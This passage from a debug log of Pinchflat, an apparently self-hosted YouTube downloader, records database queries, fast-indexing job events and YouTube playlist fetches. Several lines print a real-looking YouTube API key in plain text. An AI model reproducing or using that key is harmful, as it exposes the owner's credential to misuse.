s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:35.073 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:56:35.218 [debug] QUERY OK source="media_items" db=0.7ms idle=144.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [43, "i2ZTeoIKaw0", "BoFkqiBBWz8", "-uQ5c-gl89A", "AujUIY2N0Kw", "Ts6SW099X08", "yiNoK1oj4SI", "giE5-sKMa4Q", "K3D6FMrT7Lk", "AHRE7etgEEs", "orKC0kNQjzQ", "mXCNpEOyHSk", "wQQ9FOdzWGE", "80nShpfG3a4", "QbXzfSn-jP4", "L0TcqR55ihA", "GcGTofZU2i4", "C4w4jl4ODAk", "2AriH2BNp4E", "3frxUw8OrG0", "KdKZA74hhJg", "eZVun8Iwq4U", "YKNWFGYQrrk", "NyTKzFzm7AE", "Zftv6Kh2zi4", "gHz9q2oiL1Y", "F5ShDcJl4qQ", "0zTOd9trqEo", "dsDy5VAw-xo", "lSwkoIQLFLo", "EJFAw1VRcsA", "3Qyaocw0u3o", "5UAM-ZKBcZs", "uGI0tkmyogU", "16AbSxpRFJo", "TUkra-5kybs", "8Xdl5psYVgQ", "eRWobpethq4", "PHjkSKQSzv4", "DJuloZc4QJw", "CpIHZSRBrgA", "Fd-SP-yoDbU", "VsuuYPwgbg0", "GYVUFfQ3OTk", "QcQqT4yMvro", "hsoiHKaqG2s", "BulZkf97cEQ", "Lf62N-s42_o", "v4KHDMvFQgg", "BPOglXCH0F8", ...] 15:56:35.219 [debug] QUERY OK source="media_items" db=0.3ms idle=145.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [43] 15:56:35.220 [debug] QUERY OK source="tasks" db=0.1ms idle=146.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799852, 43, ~U[2026-02-10 21:56:35Z], ~U[2026-02-10 21:56:35Z]] 15:56:35.220 [info] {"args":{"id":43},"id":3799813,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":147459,"event":"job:stop","queue_time":526666,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:37.074 [info] {"args":{"id":25},"id":3799814,"meta":{},"system_time":1770760597074672321,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:37.074 [info] {"args":{"id":7},"id":3799815,"meta":{},"system_time":1770760597074726581,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:37.075 [debug] QUERY OK source="sources" db=0.1ms idle=196.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 15:56:37.075 [debug] QUERY OK source="sources" db=0.1ms idle=196.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 15:56:37.075 [debug] QUERY OK source="settings" db=0.2ms idle=196.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:37.075 [debug] QUERY OK source="settings" db=0.2ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:37.075 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:56:37.075 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:56:37.075 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:37.075 [debug] Fetching recent media IDs from YouTube API for playlist: UUnZx--LpG2spgmlxOcC-DRA 15:56:37.076 [debug] QUERY OK source="settings" db=0.2ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:37.076 [debug] Fetching recent media IDs from YouTube API for playlist: UUZU9T1ceaOgwfLRq7OKFU4Q 15:56:37.076 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:37.076 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:56:37.076 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:37.076 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:56:37.200 [debug] QUERY OK source="media_items" db=0.6ms idle=123.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [25, "Eq5PgdJmdOM", "UqsOOWYeAFc", "TPAj27g13Wg", "wrw-wgTVZvQ", "Afvl-iK85M4", "SZnw2gIhVlY", "aEYo2ImWVFQ", "iNtvFeR8nzE", "QzjxzaLmU68", "pHUmHk5ET0U", "9o-iezh5_cU", "NRRBKgV2nD4", "rFXunG2KAK4", "EeqhS_RCy0s", "vZeFT3hIyrI", "-peLrtm4Ta0", "RP0BOsCJLdY", "bOG_tawYloM", "rPQIbzbyWJM", "YXo4iJPfaYs", "tMjVg1ptQK0", "2r4aEvZdmDY", "Q1lZ8G1Jwd0", "DXveCg1SAvE", "ANdlfk9gxsE", "8VhD6efjAIQ", "3-SimVbHpUU", "PrXqo77aG38", "8_f_rJSxyug", "9dN7cSe5eaM", "mllcH8uTTk4", "UqkNC4DM0cY", "CmB681YpI74", "NzaT1laS9tU", "gPxhaxHyTq8", "Z0HLafo7bRU", "LvP4SNwbMtc", "Vmj54KWL47Q", "bzQ9b-kTrMQ", "893LjMkWwIk", "KAGgNIT4Fk0", "1r7gV4X760g", "4qKuUJaa5ow", "w-uDVkNJ_q8", "QYegK6M_1lY", "wMBNx2LFmo4", "TJ4KLo7rKqQ", "Bv-2HGhSRUA", "1w3y6oZb_fM", ...] 15:56:37.202 [debug] QUERY OK source="media_items" db=1.1ms idle=125.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [25] 15:56:37.202 [debug] QUERY OK source="tasks" db=0.1ms idle=126.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799853, 25, ~U[2026-02-10 21:56:37Z], ~U[2026-02-10 21:56:37Z]] 15:56:37.203 [info] {"args":{"id":25},"id":3799814,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":128209,"event":"job:stop","queue_time":532537,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:37.272 [debug] QUERY OK source="media_items" db=0.6ms idle=69.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [7, "Timi82idESg", "fEJ4dy4lReA", "s5z_Ty3eVYE", "2sl0V9Fe2Pg", "9dykjTghTYM", "Shh5SmBMsks", "7WG4CaXHoiQ", "iKbj6MLUTVY", "mj7cz2CTZbE", "ZdpXMQ13CJM", "PU9cFXq5J1M", "chrlcy65iu8", "JUteqHSK7U4", "Ne8wAZCWglM", "Zzt5hBwNmxk", "MEAuxbGxE2s", "QoG-h79s3l0", "es-VrNDoY3o", "I08GK2s64Cc", "a83Gzo3VqDg", "6GtsjMGfKqw", "Q5nFwHcboTs", "6EVvs4aXyls", "bPBpOKgRKoU", "eux9YPqsBA4", "QUjvV9_Si5Q", "f8Zd6gRRG8M", "rbBdUnrSz90", "W5XHEcaFh7I", "ZoDilNrf0Kg", "rr4WSzeXasM", "bfC2P-y-nwo", "htmZN6Vv8Vs", "U_525SiZGLw", "oFuHVZ7qivY", "p3HRzI9fEzE", "FohFxYiRqfY", "QVKuCnsg9Gc", "aSn6Raw8BCo", "YferyIBhJHY", "PZAxqCEa1jQ", "ZjYj2Tksj2w", "z8Mb3I5kVlE", "jgwaCJEiwkA", "TysH7kciS6w", "BHvPmO4A248", "hjIVJGBTRD4", "U2bcCZFxHxo", "QerbfRokjRM", ...] 15:56:37.275 [debug] QUERY OK source="media_items" db=2.0ms idle=70.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 15:56:37.276 [debug] QUERY OK source="tasks" db=0.1ms idle=66.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799854, 7, ~U[2026-02-10 21:56:37Z], ~U[2026-02-10 21:56:37Z]] 15:56:37.276 [info] {"args":{"id":7},"id":3799815,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":201542,"event":"job:stop","queue_time":411091,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:38.076 [info] {"args":{"id":20},"id":3799816,"meta":{},"system_time":1770760598075764332,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:38.076 [debug] QUERY OK source="sources" db=0.1ms idle=799.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [20] 15:56:38.076 [debug] QUERY OK source="settings" db=0.1ms idle=799.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:38.076 [debug] QUERY OK source="media_profiles" db=0.0ms idle=793.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:56:38.076 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:38.076 [debug] Fetching recent media IDs from YouTube API for playlist: UU2J-0g_nxlwcD9JBK1eTleQ 15:56:38.076 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:38.076 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:56:38.165 [debug] QUERY OK source="media_items" db=0.8ms idle=88.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [20, "EfReqcUJfBU", "46tvrNZFxjQ", "MnjNgtPr3v0", "DqBOTn6RiKE", "Eten26XKTv4", "sdSusCDZcDg", "_Ma4fV7ajak", "bfeb6AS7efA", "NzCJGD3XMm4", "sI4y8jDO6kc", "2OvyyVxQjuI", "GUFPw25D0XM", "llRut0MpjfU", "n_wbyAf0Sfs", "U5P5WgYhz9Q", "LvTo1PSlDkc", "HcvF3XFlHeM", "xvnYl9yyxY8", "2E4neC3OBtg", "SzQQMElyhzo", "LckcXDqLtVA", "wDzi0-S9Bpo", "5CIJ_zk7DR4", "FVSH4dedp5U", "j0HzOAsVBqU", "4p1f3KA_O2o", "vXSd4OYyksc", "iwyyJwJQgGI", "2TBWVwTn9WM", "TvjeY9RCR2U", "990N9TgwB4Y", "YiSjEU0RImU", "62SkmzQ85Ks", "DL8lzJDOyzo", "Pg8Yi6x2Pwk", "Az6nemkRB1Y", "no5X9k23xzQ", "Xe_Hfxk-iTM", "frPvUIchc9s", "1WeyqcSW4pc", "-eDR2D9jY5E", "APqWBtdPCJQ", "lAhndiYV8vQ", "tbcAOqpE3g8", "BUcN2w-cBr4", "GzS-xgs5y64", "E0EY4dxMAxA", "luAJ_Rzg-do", "vMowPNqMPac", ...] 15:56:38.166 [debug] QUERY OK source="media_items" db=0.4ms idle=89.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [20] 15:56:38.167 [debug] QUERY OK source="tasks" db=0.2ms idle=90.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799855, 20, ~U[2026-02-10 21:56:38Z], ~U[2026-02-10 21:56:38Z]] 15:56:38.167 [info] {"args":{"id":20},"id":3799816,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":91848,"event":"job:stop","queue_time":526491,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:57.575 [info] {"source":"oban","duration":10347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:00.987 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:57:02.100 [info] {"args":{"id":42},"id":3799817,"meta":{},"system_time":1770760622100768425,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:02.100 [info] {"args":{"id":15},"id":3799818,"meta":{},"system_time":1770760622100837251,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:02.101 [debug] QUERY OK source="sources" db=0.1ms idle=1007.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [42] 15:57:02.101 [debug] QUERY OK source="sources" db=0.1ms idle=222.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [15] 15:57:02.101 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM 